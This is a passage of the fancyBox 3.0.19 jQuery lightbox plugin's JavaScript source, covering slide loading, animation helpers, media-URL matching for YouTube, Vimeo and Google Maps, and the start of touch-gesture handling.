canvasHeight = parseInt( slide.$slide.height(), 10 ) - ( margin[ 0 ] + margin[ 2 ] );
minRatio = Math.min(1, canvasWidth / imgWidth, canvasHeight / imgHeight );
// Use floor rounding to make sure it really fits
width = Math.floor( minRatio * imgWidth );
height = Math.floor( minRatio * imgHeight );
top = Math.floor( ( canvasHeight - height ) * 0.5 ) + margin[ 0 ];
left = Math.floor( ( canvasWidth - width ) * 0.5 ) + margin[ 3 ];
return {
top : top,
left : left,
width : width,
height : height
};
},
// Move slider to current position
// Update all slides (and their content)
// =====================================
update : function( andSlides, andContent, duration, callback ) {
var self = this;
var leftValue = ( self.current.pos * Math.floor( self.current.$slide.width() ) * -1 ) - ( self.current.pos * self.current.opts.gutter ) ;
if ( self.isOpening === true ) {
return;
}
duration = parseInt( duration, 10 ) || 0;
$.fancybox.stop( self.$refs.slider );
if ( andSlides === false ) {
self.updateSlide( self.current, andContent );
} else {
$.each( self.slides, function( key, slide ) {
self.updateSlide( slide, andContent );
});
}
if ( duration ) {
$.fancybox.animate( self.$refs.slider, null, {
top : 0,
left : leftValue
}, duration, function() {
self.current.isMoved = true;
if ( $.type( callback ) === 'function' ) {
callback.apply( self );
}
});
} else {
$.fancybox.setTranslate( self.$refs.slider, { left : leftValue } );
if ( $.type( callback ) === 'function' ) {
callback.apply( self );
}
}
self.updateCursor();
},
// Update slide position and scale content to fit
// ==============================================
updateSlide : function( slide, andContent ) {
var self = this;
var $what = slide.$placeholder;
slide = slide || self.current;
if ( !slide || self.isClosing ) {
return;
}
$.fancybox.setTranslate( slide.$slide, { left : ( slide.pos * Math.floor( slide.$slide.width() ) ) + ( slide.pos * slide.opts.gutter) } );
if ( andContent !== false && $what ) {
$.fancybox.setTranslate( $what, self.getFitPos( slide ) );
}
slide.$slide.trigger( 'refresh' );
self.trigger( 'onUpdate', slide );
},
// Update cursor style depending if content can be zoomed
// ======================================================
updateCursor : function( nextWidth, nextHeight ) {
var self = this;
var canScale;
var $container = self.$refs.container.removeClass('fancybox-controls--canzoomIn fancybox-controls--canzoomOut fancybox-controls--canGrab');
if ( self.isClosing || !self.opts.touch ) {
return;
}
if ( nextWidth !== undefined && nextHeight !== undefined ) {
canScale = nextWidth < self.current.width && nextHeight < self.current.height;
} else {
canScale = self.isScaledDown();
}
if ( canScale ) {
$container.addClass('fancybox-controls--canzoomIn');
} else if ( self.group.length < 2 ) {
$container.addClass('fancybox-controls--canzoomOut');
} else {
$container.addClass('fancybox-controls--canGrab');
}
},
// Load content into the slide
// ===========================
loadSlide : function( slide ) {
var self = this, type, $slide;
var ajaxLoad;
if ( !slide ) {
return false;
}
if ( slide.isLoading ) {
return;
}
self.trigger( 'beforeLoad', slide );
type = slide.type;
$slide = slide.$slide;
$slide
.unbind( 'refresh' )
.trigger( 'onReset' )
.addClass( 'fancybox-slide--' + ( type || 'unknown' ) )
.addClass( slide.opts.slideClass );
slide.isLoading = true;
// Create content depending on the type
switch ( type ) {
case 'image':
self.setImage( slide );
break;
case 'iframe':
self.setIframe( slide );
break;
case 'html':
self.setContent( slide, slide.content );
break;
case 'inline':
if ( $( slide.src ).length ) {
self.setContent( slide, $( slide.src ) );
} else {
self.setError( slide );
}
break;
case 'ajax':
self.showLoading( slide );
ajaxLoad = $.ajax( $.extend( {}, slide.opts.ajax.settings, {
url: slide.src,
success: function ( data, textStatus ) {
if ( textStatus === 'success' ) {
self.setContent( slide, data );
}
},
error: function ( jqXHR, textStatus ) {
if ( jqXHR && textStatus !== 'abort' ) {
self.setError( slide );
}
}
}));
$slide.one( 'onReset', function () {
ajaxLoad.abort();
});
break;
default:
self.setError( slide );
break;
}
return true;
},
// Use thumbnail image, if possible
// ================================
setImage : function( slide ) {
var self = this;
if ( slide.isLoaded && !slide.hasError ) {
self.afterLoad( slide );
return;
}
slide.$placeholder = $('<div class="fancybox-placeholder"></div>').hide().prependTo( slide.$slide );
if ( slide.opts.preload !== false && slide.opts.width && slide.opts.height && ( slide.opts.thumb || slide.opts.$thumb ) ) {
slide.width = slide.opts.width;
slide.height = slide.opts.height;
slide.$ghost = $('<img />')
.addClass( 'fancybox-image' )
.one('load error', function() {
if ( self.isClosing ) {
return;
}
$( this ).appendTo( slide.$placeholder );
// Start preloading full size image
$('<img/>')[0].src = slide.src;
// Check if we can perform zoom-in animation
if ( !self.allowZoomIn || !( slide.index === self.currIndex && self.zoomIn() ) ) {
self.isOpening = false;
self.updateSlide( slide, true );
slide.$placeholder.show();
self.setBigImage( slide );
}
})
.attr( 'src', slide.opts.thumb || slide.opts.$thumb.attr( 'src' ) );
} else {
self.setBigImage( slide );
}
},
// Create full-size image
// ======================
setBigImage : function ( slide ) {
var self = this;
var $img = $('<img />');
if ( slide.opts.image.protect ) {
$('<div class="fancybox-spaceball"></div>').appendTo( slide.$placeholder );
}
$img.one('error', function() {
self.setError( slide );
}).one('load', function() {
if ( self.isClosing ) {
return;
}
slide.$image = $img.addClass('fancybox-image').appendTo( slide.$placeholder );
slide.width = this.naturalWidth;
slide.height = this.naturalHeight;
self.afterLoad( slide );
if ( slide.$ghost ) {
slide.timouts = setTimeout(function() {
slide.$ghost.hide();
}, 300);
}
}).attr('src', slide.src);
if ( $img[0].complete ) {
$img.trigger('load');
} else if( $img[0].error ) {
$img.trigger('error');
} else {
slide.timouts = setTimeout(function() {
if ( !$img[0].complete ) {
self.showLoading( slide );
}
}, 150);
}
},
// Simply show image holder without animation
// It has been hidden initially to avoid flickering
// ================================================
revealImage : function( slide ) {
if ( slide.$placeholder ) {
slide.$placeholder.show();
if ( slide.index === this.currIndex ) {
this.updateCursor();
}
}
},
// Create iframe wrapper, iframe and bindings
// ==========================================
setIframe : function( slide ) {
var self = this,
opts = slide.opts.iframe,
$slide = slide.$slide,
$iframe;
slide.$content = $('<div class="fancybox-content"></div>')
.css( opts.css )
.appendTo( $slide );
$iframe = $( opts.tpl.replace(/\{rnd\}/g, new Date().getTime()) )
.attr('scrolling', $.fancybox.isTouch ? 'auto' : opts.scrolling)
.appendTo( slide.$content );
if ( opts.preload ) {
slide.$content.addClass( 'fancybox-tmp' );
self.showLoading( slide );
// Unfortunately, it is not always possible to determine if iframe is successfully loaded
// (due to browser security policy)
$iframe.on('load.fb error.fb', function(e) {
this.isReady = 1;
slide.$slide.trigger( 'refresh' );
self.afterLoad( slide );
});
// Recalculate iframe content size
$slide.on('refresh.fb', function() {
var $wrap = slide.$content,
$contents,
$body,
scrollWidth,
frameWidth,
frameHeight;
if ( $iframe[0].isReady !== 1 ) {
return;
}
// Check if content is accessible,
// it will fail if frame is not with the same origin
try {
$contents = $iframe.contents();
$body = $contents.find('body');
} catch (ignore) {}
// Calculate dimensions for the wrapper
if ( $body && $body.length && !( opts.css.width !== undefined && opts.css.height !== undefined ) ) {
scrollWidth = $iframe[0].contentWindow.document.documentElement.scrollWidth;
frameWidth = Math.ceil( $body.outerWidth(true) + ( $wrap.width() - scrollWidth ) );
frameHeight = Math.ceil( $body.outerHeight(true) );
// Resize wrapper to fit iframe content
$wrap.css({
'width' : opts.css.width === undefined ? frameWidth + ( $wrap.outerWidth() - $wrap.innerWidth() ) : opts.css.width,
'height' : opts.css.height === undefined ? frameHeight + ( $wrap.outerHeight() - $wrap.innerHeight() ) : opts.css.height
});
}
$wrap.removeClass( 'fancybox-tmp' );
});
} else {
this.afterLoad( slide );
}
$iframe.attr( 'src', slide.src );
if ( slide.opts.smallBtn ) {
slide.$content.prepend( slide.opts.closeTpl );
}
// Remove iframe if closing or changing gallery item
$slide.one('onReset', function () {
// This helps IE not to throw errors when closing
try {
$(this).find('iframe').hide().attr('src', '//about:blank');
} catch (ignore) {}
$(this).empty();
});
},
// Wrap and append content to the slide
// ======================================
setContent : function ( slide, content ) {
var self = this;
if ( self.isClosing ) {
return;
}
self.hideLoading( slide );
slide.$slide.empty();
if ( isQuery( content ) && content.parent().length ) {
// If it is a jQuery object, then it will be moved to the box.
// The placeholder is created so we will know where to put it back.
// If user is navigating gallery fast, then the content might be already moved to the box
if ( content.data( 'placeholder' ) ) {
content.parents('.fancybox-slide').trigger( 'onReset' );
}
content.data({'placeholder' : $('<div></div>' ).hide().insertAfter( content ) }).css('display', 'inline-block');
} else {
if ( $.type( content ) === 'string' ) {
content = $('<div>').append( content ).contents();
if ( content[0].nodeType === 3 ) {
content = $('<div>').html( content );
}
}
if ( slide.opts.selector ) {
content = $('<div>').html( content ).find( slide.opts.selector );
}
}
slide.$slide.one('onReset', function () {
var placeholder = isQuery( content ) ? content.data('placeholder') : 0;
if ( placeholder ) {
content.hide().replaceAll( placeholder );
content.data( 'placeholder', null );
}
$(this).empty();
slide.isLoaded = false;
});
slide.$content = $( content ).appendTo( slide.$slide );
if ( slide.opts.smallBtn === true ) {
slide.$content.find( '.fancybox-close-small' ).remove().end().eq(0).append( slide.opts.closeTpl );
}
this.afterLoad( slide );
},
// Display error message
// =====================
setError : function ( slide ) {
slide.hasError = true;
this.setContent( slide, slide.opts.errorTpl );
},
showLoading : function( slide ) {
var self = this;
slide = slide || self.current;
if ( slide && !slide.$spinner ) {
slide.$spinner = $( self.opts.spinnerTpl ).appendTo( slide.$slide );
}
},
hideLoading : function( slide ) {
var self = this;
slide = slide || self.current;
if ( slide && slide.$spinner ) {
slide.$spinner.remove();
delete slide.$spinner;
}
},
afterMove : function() {
var self = this;
var current = self.current;
if ( !current ) {
return;
}
current.isMoved = true;
current.$slide.siblings().trigger( 'onReset' );
// Remove unnecessary slides
$.each( self.slides, function( key, slide ) {
// Leave current and neighbouring slides
if ( slide.pos < self.currPos - 1 || slide.pos > self.currPos + 1 ) {
slide.$slide.remove();
delete self.slides[ key ];
}
});
self.trigger( 'afterMove' );
if ( current.isLoaded ) {
self.complete();
}
},
// Adjustments after slide has been loaded
// =======================================
afterLoad : function( slide ) {
var self = this;
if ( self.isClosing ) {
return;
}
slide.isLoading = false;
slide.isLoaded = true;
self.trigger( 'afterLoad', slide );
self.hideLoading( slide );
// Resize content to fit inside slide
// Do not update in case we have $ghost element - user might have already zoomed/swiped
if ( !slide.$ghost ) {
self.updateSlide( slide, true );
}
if ( slide.index === self.currIndex ) {
if ( slide.isMoved ) {
self.complete();
} else {
self.revealImage( slide );
}
// Load next and previous image if needed
if ( self.slides[ self.currPos + 1 ] && self.slides[ self.currPos + 1 ].type === 'image' ) {
self.loadSlide( self.slides[ self.currPos + 1 ] );
}
if ( self.slides[ self.currPos - 1 ] && self.slides[ self.currPos - 1 ].type === 'image' ) {
self.loadSlide( self.slides[ self.currPos - 1 ] );
}
} else {
self.revealImage( slide );
}
},
// Final adjustments after current gallery item is moved to position
// and it`s content is loaded
// ==================================================================
complete : function() {
var self = this;
var curent = self.current;
curent.isComplete = true;
self.trigger( 'onComplete' );
if ( !(self.allowZoomIn && self.zoomIn() ) ) {
self.isOpening = false;
self.revealImage( curent );
}
curent.$slide.addClass('fancybox-slide--complete');
if ( self.opts.focus ) {
self.focus();
}
},
// Try to find and focus on the first focusable element
// ====================================================
focus : function() {
var $el = this.current && this.current.isComplete ? this.current.$slide.find('button,:input,[tabindex],a:not(".disabled")').filter(':visible:first') : null;
if ( !$el || !$el.length ) {
$el = this.$refs.container;
}
$el.focus();
// Scroll position of wrapper element sometimes changes after focusing (IE)
this.$refs.slider_wrap.scrollLeft(0);
// And the same goes for slide element
if ( this.current ) {
this.current.$slide.scrollTop(0);
}
},
// Activates current instance - brings container to the front and enables keyboard,
// notifies other instances about deactivating
// =================================================================================
activate : function () {
var self = this;
// Deactivate all instances
$( '.fancybox-container' ).each(function () {
var instance = $(this).data( 'FancyBox' );
// Skip self and closing instances
if (instance && instance.uid !== self.uid && !instance.isClosing) {
instance.trigger( 'onDeactivate' );
}
});
if ( self.current ) {
if ( self.$refs.container.index() > 0 ) {
self.$refs.container.prependTo( document.body );
}
self.updateControls();
}
self.trigger( 'onActivate' );
self.addEvents();
},
// Start closing procedure
// This will start "zoom-out" animation if needed and clean everything up afterwards
// =================================================================================
close : function( e ) {
var self = this;
var current = self.current;
var done = $.proxy(function() {
self.cleanUp( e ); // Now "this" is again our instance
}, this);
if ( self.isAnimating || self.isClosing ) {
return false;
}
self.isClosing = true;
if ( current.timouts ) {
clearTimeout( current.timouts );
}
if ( e !== true) {
$.fancybox.stop( self.$refs.slider );
}
self.$refs.container
.removeClass('fancybox-container--active')
.addClass('fancybox-container--closing');
current.$slide
.removeClass('fancybox-slide--complete')
.siblings()
.remove();
if ( !current.isMoved ) {
current.$slide.css('overflow', 'visible');
}
// Remove all events
// If there are multiple instances, they will be set again by "activate" method
self.removeEvents();
// Clean up
self.hideLoading( current );
self.hideControls();
self.updateCursor();
self.trigger( 'beforeClose', current, e );
if ( e === true) {
setTimeout( done, current.opts.speed );
this.$refs.container.removeClass( 'fancybox-container--ready' );
} else if ( !self.zoomOut( done ) ) {
$.fancybox.animate( self.$refs.container, null, { opacity : 0 }, current.opts.speed, "easeInSine", done );
}
},
// Final adjustments after removing the instance
// =============================================
cleanUp : function( e ) {
var self = this,
instance;
self.$refs.slider.children().trigger( 'onReset' );
self.$refs.container.empty().remove();
self.current = null;
self.trigger( 'afterClose', e);
// Check if there are other instances
instance = $.fancybox.getInstance();
if ( instance ) {
instance.activate();
} else {
$( 'body' ).removeClass( 'fancybox-enabled' );
$( '#fancybox-noscroll' ).remove();
}
// Place back focus
if ( self.$lastFocus ) {
self.$lastFocus.focus();
}
$W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );
},
// Call callback and trigger an event
// ==================================
trigger : function( name, slide ) {
var args = Array.prototype.slice.call(arguments, 1),
self = this,
obj = slide && slide.opts ? slide : self.current;
if ( obj ) {
args.unshift( obj );
} else {
obj = self;
}
args.unshift( self );
if ( $.isFunction( obj.opts[ name ] ) ) {
obj.opts[ name ].apply( obj, args );
}
self.$refs.container.trigger( name + '.fb', args);
},
// Toggle toolbar and caption
// ==========================
toggleControls : function( force ) {
if ( this.isHiddenControls ) {
this.updateControls( force );
} else {
this.hideControls();
}
},
// Hide toolbar and caption
// ========================
hideControls : function () {
this.isHiddenControls = true;
this.$refs.container.removeClass('fancybox-show-controls');
this.$refs.container.removeClass('fancybox-show-caption');
},
// Update infobar values, navigation button states and reveal caption
// ==================================================================
updateControls : function ( force ) {
var self = this;
var $container = self.$refs.container;
var $caption = self.$refs.caption;
// Toggle infobar and buttons
var current = self.current;
var index = current.index;
var opts = current.opts;
var caption = opts.caption;
if ( this.isHiddenControls && force !== true ) {
return;
}
this.isHiddenControls = false;
self.$refs.container.addClass('fancybox-show-controls');
$container
.toggleClass('fancybox-show-infobar', !!opts.infobar && self.group.length > 1)
.toggleClass('fancybox-show-buttons', !!opts.buttons )
.toggleClass('fancybox-is-modal', !!opts.modal );
$('.fancybox-button--left', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index <= 0 ) );
$('.fancybox-button--right', $container).toggleClass( 'fancybox-button--disabled', (!opts.loop && index >= self.group.length - 1) );
$('.fancybox-button--play', $container).toggle( !!( opts.slideShow && self.group.length > 1) );
$('.fancybox-button--close', $container).toggle( !!opts.closeBtn );
// Update infobar values
$('.js-fancybox-count', $container).html( self.group.length );
$('.js-fancybox-index', $container).html( index + 1 );
// Recalculate content dimensions
current.$slide.trigger( 'refresh' );
// Reveal or create new caption
if ( $caption ) {
$caption.empty();
}
if ( caption && caption.length ) {
$caption.html( caption );
this.$refs.container.addClass( 'fancybox-show-caption ');
self.$caption = $caption;
} else {
this.$refs.container.removeClass( 'fancybox-show-caption' );
}
}
});
$.fancybox = {
version : "3.0.19",
defaults : defaults,
// Get current instance and execute a command.
//
// Examples of usage:
//
// $instance = $.fancybox.getInstance();
// $.fancybox.getInstance().jumpTo( 1 );
// $.fancybox.getInstance( 'jumpTo', 1 );
// $.fancybox.getInstance( function() {
// console.info( this.currIndex );
// });
// ======================================================
getInstance : function ( command ) {
var instance = $('.fancybox-container:not(".fancybox-container--closing"):first').data( 'FancyBox' );
var args = Array.prototype.slice.call(arguments, 1);
if ( instance instanceof FancyBox ) {
if ( $.type( command ) === 'string' ) {
instance[ command ].apply( instance, args );
} else if ( $.type( command ) === 'function' ) {
command.apply( instance, args );
}
return instance;
}
return false;
},
// Create new instance
// ===================
open : function ( items, opts, index ) {
return new FancyBox( items, opts, index );
},
// Close current or all instances
// ==============================
close : function ( all ) {
var instance = this.getInstance();
if ( instance ) {
instance.close();
// Try to find and close next instance
if ( all === true ) {
this.close();
}
}
},
// Test for the existence of touch events in the browser
// Limit to mobile devices
// ====================================================
isTouch : document.createTouch !== undefined && /Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent),
// Detect if 'translate3d' support is available
// ============================================
use3d : (function() {
var div = document.createElement('div');
return window.getComputedStyle( div ).getPropertyValue('transform') && !(document.documentMode && document.documentMode <= 11);
}()),
// Helper function to get current visual state of an element
// returns array[ top, left, horizontal-scale, vertical-scale, opacity ]
// =====================================================================
getTranslate : function( $el ) {
var position, matrix;
if ( !$el || !$el.length ) {
return false;
}
position = $el.get( 0 ).getBoundingClientRect();
matrix = $el.eq( 0 ).css('transform');
if ( matrix && matrix.indexOf( 'matrix' ) !== -1 ) {
matrix = matrix.split('(')[1];
matrix = matrix.split(')')[0];
matrix = matrix.split(',');
} else {
matrix = [];
}
if ( matrix.length ) {
// If IE
if ( matrix.length > 10 ) {
matrix = [ matrix[13], matrix[12], matrix[0], matrix[5] ];
} else {
matrix = [ matrix[5], matrix[4], matrix[0], matrix[3]];
}
matrix = matrix.map(parseFloat);
} else {
matrix = [ 0, 0, 1, 1 ];
}
return {
top : matrix[ 0 ],
left : matrix[ 1 ],
scaleX : matrix[ 2 ],
scaleY : matrix[ 3 ],
opacity : parseFloat( $el.css('opacity') ),
width : position.width,
height : position.height
};
},
// Shortcut for setting "translate3d" properties for element
// Can set be used to set opacity, too
// ========================================================
setTranslate : function( $el, props ) {
var str = '';
var css = {};
if ( !$el || !props ) {
return;
}
if ( props.left !== undefined || props.top !== undefined ) {
str = ( props.left === undefined ? $el.position().top : props.left ) + 'px, ' + ( props.top === undefined ? $el.position().top : props.top ) + 'px';
if ( this.use3d ) {
str = 'translate3d(' + str + ', 0px)';
} else {
str = 'translate(' + str + ')';
}
}
if ( props.scaleX !== undefined && props.scaleY !== undefined ) {
str = (str.length ? str + ' ' : '') + 'scale(' + props.scaleX + ', ' + props.scaleY + ')';
}
if ( str.length ) {
css.transform = str;
}
if ( props.opacity !== undefined ) {
css.opacity = props.opacity;
}
if ( props.width !== undefined ) {
css.width = props.width;
}
if ( props.height !== undefined ) {
css.height = props.height;
}
return $el.css( css );
},
// Common easings for entrances and exits
// t: current time, b: begInnIng value, c: change In value, d: duration
// ====================================================================
easing : {
easeOutCubic : function (t, b, c, d) {
return c * ((t=t/d-1)*t*t + 1) + b;
},
easeInCubic : function (t, b, c, d) {
return c * (t/=d)*t*t + b;
},
easeOutSine : function (t, b, c, d) {
return c * Math.sin(t/d * (Math.PI/2)) + b;
},
easeInSine : function (t, b, c, d) {
return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
}
},
// Stop fancyBox animation
// =======================
stop : function( $el ) {
$el.removeData( 'animateID' );
},
// Animate element using "translate3d"
// Usage:
// animate( element, start properties, end properties, duration, easing, callback )
// or
// animate( element, start properties, end properties, duration, callback )
// =================================================================================
animate : function( $el, from, to, duration, easing, done ) {
var self = this;
var lastTime = null;
var animTime = 0;
var curr;
var diff;
var id;
var frame = function ( timestamp ) {
curr = [];
diff = 0;
// If "stop" method has been called on this element, then just stop
if ( !$el.length || $el.data( 'animateID' ) !== id ) {
return;
}
timestamp = timestamp || Date.now();
if ( lastTime ) {
diff = timestamp - lastTime;
}
lastTime = timestamp;
animTime += diff;
// Are we done?
if ( animTime >= duration ) {
if ( to.scaleX !== undefined && to.scaleY !== undefined && from.width !== undefined && from.height !== undefined ) {
to.width = from.width * to.scaleX;
to.height = from.height * to.scaleY;
to.scaleX = 1;
to.scaleY = 1;
}
self.setTranslate( $el, to );
done();
return;
}
for ( var prop in to ) {
if ( to.hasOwnProperty( prop ) && from[ prop ] !== undefined ) {
if ( from[ prop ] == to[ prop ] ) {
curr[ prop ] = to[ prop ];
} else {
curr[ prop ] = self.easing[ easing ]( animTime, from[ prop ], to[ prop ] - from[ prop ], duration );
}
}
}
self.setTranslate( $el, curr );
requestAFrame( frame );
};
self.animateID = id = self.animateID === undefined ? 1 : self.animateID + 1;
$el.data( 'animateID', id );
if ( done === undefined && $.type(easing) == 'function' ) {
done = easing;
easing = undefined;
}
if ( !easing ) {
easing = "easeOutCubic";
}
done = done || $.noop;
if ( !duration ) {
this.setTranslate( $el, to );
done();
return;
}
if ( from ) {
this.setTranslate( $el, from );
} else {
// We need current values to calculate change in time
from = this.getTranslate( $el );
}
$el.show();
requestAFrame( frame );
}
};
// Event handler for click event to "fancyboxed" links
// ===================================================
function _run( e ) {
var target = e.currentTarget,
opts = e.data ? e.data.options : {},
items = e.data ? e.data.items : [],
value = '',
index = 0;
e.preventDefault();
e.stopPropagation();
// Get all related items and find index for clicked one
if ( $(target).attr( 'data-fancybox' ) ) {
value = $(target).data( 'fancybox' );
}
if ( value ) {
items = items.length ? items.filter( '[data-fancybox="' + value + '"]' ) : $( '[data-fancybox=' + value + ']' );
index = items.index( target );
} else {
items = [ target ];
}
$.fancybox.open( items, opts, index );
}
// Create a jQuery plugin
// ======================
$.fn.fancybox = function (options) {
this.off('click.fb-start').on('click.fb-start', {
items : this,
options : options || {}
}, _run);
return this;
};
// Self initializing plugin
// ========================
$(document).on('click.fb-start', '[data-fancybox]', _run);
}(window, document, window.jQuery));
// ==========================================================================
//
// Media
// Adds additional media type support
//
// ==========================================================================
;(function ($) {
'use strict';
// Formats matching url to final form
var format = function (url, rez, params) {
if (!url) {
return;
}
params = params || '';
if ($.type(params) === "object") {
params = $.param(params, true);
}
$.each(rez, function (key, value) {
url = url.replace('$' + key, value || '');
});
if (params.length) {
url += (url.indexOf('?') > 0 ? '&' : '?') + params;
}
return url;
};
// Object containing properties for each media type
var media = {
youtube: {
matcher: /(youtube\.com|youtu\.be|youtube\-nocookie\.com)\/(watch\?(.*&)?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*))(.*)/i,
params: {
autoplay: 1,
autohide: 1,
fs: 1,
rel: 0,
hd: 1,
wmode: 'transparent',
enablejsapi: 1,
html5: 1
},
paramPlace : 8,
type: 'iframe',
url: '//www.youtube.com/embed/$4',
thumb: '//img.youtube.com/vi/$4/hqdefault.jpg'
},
vimeo: {
matcher: /((player\.)?vimeo(pro)?\.com)\/(video\/)?([\d]+)?(\?(.*))?/,
params: {
autoplay: 1,
hd: 1,
show_title: 1,
show_byline: 1,
show_portrait: 0,
fullscreen: 1,
api: 1
},
paramPlace : 7,
type: 'iframe',
url: '//player.vimeo.com/video/$5'
},
metacafe: {
matcher: /metacafe.com\/watch\/(\d+)\/(.*)?/,
type: 'iframe',
url: '//www.metacafe.com/embed/$1/?ap=1'
},
dailymotion: {
matcher: /dailymotion.com\/video\/(.*)\/?(.*)/,
params: {
additionalInfos: 0,
autoStart: 1
},
type: 'iframe',
url: '//www.dailymotion.com/embed/video/$1'
},
vine: {
matcher: /vine.co\/v\/([a-zA-Z0-9\?\=\-]+)/,
type: 'iframe',
url: '//vine.co/v/$1/embed/simple'
},
instagram: {
matcher: /(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,
type: 'image',
url: '//$1/p/$2/media/?size=l'
},
// Examples:
// http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
// http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
// https://www.google.lv/maps/place/Googleplex/@37.4220041,-122.0833494,17z/data=!4m5!3m4!1s0x0:0x6c296c66619367e0!8m2!3d37.4219998!4d-122.0840572
google_maps: {
matcher: /(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(((maps\/(place\/(.*)\/)?\@(.*),(\d+.?\d+?)z))|(\?ll=))(.*)?/i,
type: 'iframe',
url: function (rez) {
return '//maps.google.' + rez[2] + '/?ll=' + ( rez[9] ? rez[9] + '&z=' + Math.floor( rez[10] ) + ( rez[12] ? rez[12].replace(/^\//, "&") : '' ) : rez[12] ) + '&output=' + ( rez[12] && rez[12].indexOf('layer=c') > 0 ? 'svembed' : 'embed' );
}
}
};
$(document).on('onInit.fb', function (e, instance) {
$.each(instance.group, function( i, item ) {
var url = item.src || '',
type = false,
thumb,
rez,
params,
urlParams,
o,
id,
provider;
// Skip items that already have content type
if ( item.type ) {
return;
}
// Look for any matching media type
$.each(media, function ( n, el ) {
rez = url.match(el.matcher);
o = {};
provider = n;
if (!rez) {
return;
}
type = el.type;
if ( el.paramPlace && rez[ el.paramPlace ] ) {
urlParams = rez[ el.paramPlace ];
if ( urlParams[ 0 ] == '?') {
urlParams = urlParams.substring(1);
}
urlParams = urlParams.split('&');
for ( var m = 0; m < urlParams.length; ++m ) {
var p = urlParams[ m ].split('=', 2);
if ( p.length == 2 ) {
o[ p[0] ] = decodeURIComponent( p[1].replace(/\+/g, " ") );
}
}
}
if ( el.idPlace ) {
id = rez[ el.idPlace ];
}
params = $.extend( true, {}, el.params, item.opts[ n ], o );
url = $.type(el.url) === "function" ? el.url.call(this, rez, params, item) : format(el.url, rez, params);
thumb = $.type(el.thumb) === "function" ? el.thumb.call(this, rez, params, item) : format(el.thumb, rez);
return false;
});
// If it is found, then change content type and update the url
if ( type ) {
item.src = url;
item.type = type;
if ( !item.opts.thumb && !(item.opts.$thumb && item.opts.$thumb.length ) ) {
item.opts.thumb = thumb;
}
if ( id ) {
item.opts.id = provider + '-' + id;
}
if ( type === 'iframe' ) {
$.extend(true, item.opts, {
iframe : {
preload : false,
scrolling : "no"
},
smallBtn : false,
closeBtn : true,
fullScreen : false,
slideShow : false
});
item.opts.slideClass += ' fancybox-slide--video';
}
} else {
// If no content type is found, then set it to `iframe` as fallback
item.type = 'iframe';
}
});
});
}(window.jQuery));
// ==========================================================================
//
// Guestures
// Adds touch guestures, handles click and tap events
//
// ==========================================================================
;(function (window, document, $) {
'use strict';
var requestAFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function( callback ) {
window.setTimeout(callback, 1000 / 60); };
})();
var pointers = function( e ) {
var result = [];
e = e.originalEvent || e || window.e;
e = e.touches && e.touches.length ? e.touches : ( e.changedTouches && e.changedTouches.length ? e.changedTouches : [ e ] );
for ( var key in e ) {
if ( e[ key ].pageX ) {
result.push( { x : e[ key ].pageX, y : e[ key ].pageY } );
} else if ( e[ key ].clientX ) {
result.push( { x : e[ key ].clientX, y : e[ key ].clientY } );
}
}
return result;
};
var distance = function( point2, point1, what ) {
if ( what === 'x' ) {
return point2.x - point1.x;
} else if ( what === 'y' ) {
return point2.y - point1.y;
}
return Math.sqrt( Math.pow( point2.x - point1.x, 2 ) + Math.pow( point2.y - point1.y, 2 ) );
};
var isClickable = function( $el ) {
return $el.is('a') || $el.is('button') || $el.is('input') || $el.is('select') || $el.is('textarea') || $.isFunction( $el.get(0).onclick );
};
var hasScrollbars = function( el ) {
var overflowY = window.getComputedStyle( el )['overflow-y'];
var overflowX = window.getComputedStyle( el )['overflow-x'];
var vertical = (overflowY === 'scroll' || overflowY === 'auto') && el.scrollHeight > el.clientHeight;
var horizontal = (overflowX === 'scroll' || overflowX === 'auto') && el.scrollWidth > el.clientWidth;
return vertical || horizontal;
};
var isScrollable = function ( $el ) {
var rez = false;
while ( true ) {
rez = hasScrollbars( $el.get(0) );
if ( rez ) {
break;
}
$el = $el.parent();
if ( !$el.length || $el.hasClass('fancybox-slider') || $el.is('body') ) {
break;
}
}
return rez;
};
var Guestures = function ( instance ) {
var self = this;
self.instance = instance;
self.$wrap = instance.$refs.slider_wrap;
self.$slider = instance.$refs.slider;
self.$container = instance.$refs.container;
self.destroy();
self.$wrap.on('touchstart.fb mousedown.fb', $.proxy(self, "ontouchstart"));
};
Guestures.prototype.destroy = function() {
this.$wrap.off('touchstart.fb mousedown.fb touchmove.fb mousemove.fb touchend.fb touchcancel.fb mouseup.fb mouseleave.fb');
};
Guestures.prototype.ontouchstart = function( e ) {
var self = this;
var $target = $( e.target );
var instance = self.instance;
var current = instance.current;
var $content = current.$content || current.$placeholder;
var frame = function() {
if ( self.sliderNewPos ) {
$.fancybox.setTranslate( self.$slider, self.sliderNewPos );
self.sliderNewPos = null;
}
if ( self.contentNewPos ) {
$.fancybox.setTranslate( self.$content, self.contentNewPos );
self.contentNewPos = null;
}
if ( self.isSwiping || self.isPanning || self.isZooming ) {
requestAFrame( frame );
}
};
// Ignore taping on links, buttons and scrollable items
if ( isClickable( $target ) || isClickable( $target.parent() ) || ( isScrollable( $target ) && !$target.hasClass('fancybox-slide') ) ) {
return;
}
e.stopPropagation();
e.preventDefault();
if ( !current || self.instance.isAnimating || self.instance.isClosing ) {
return;
}
self.startPoints = pointers( e );
// Prevent zooming if already swiping
if ( self.startPoints.length > 1 && !current.isMoved ) {
return;
}
self.$wrap.off('touchmove.fb mousemove.fb', $.proxy(self, "ontouchmove"));
self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(self, "ontouchend"));
self.$wrap.on('touchmove.fb mousemove.fb', $.proxy(self, "ontouchmove"));
self.$wrap.on('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(self, "ontouchend"));
self.$target = $target;
self.$content = $content;
self.startTime = new Date().getTime();
self.distanceX = self.distanceY = self.distance = 0;
self.canvasWidth = Math.round( current.$slide.width() );
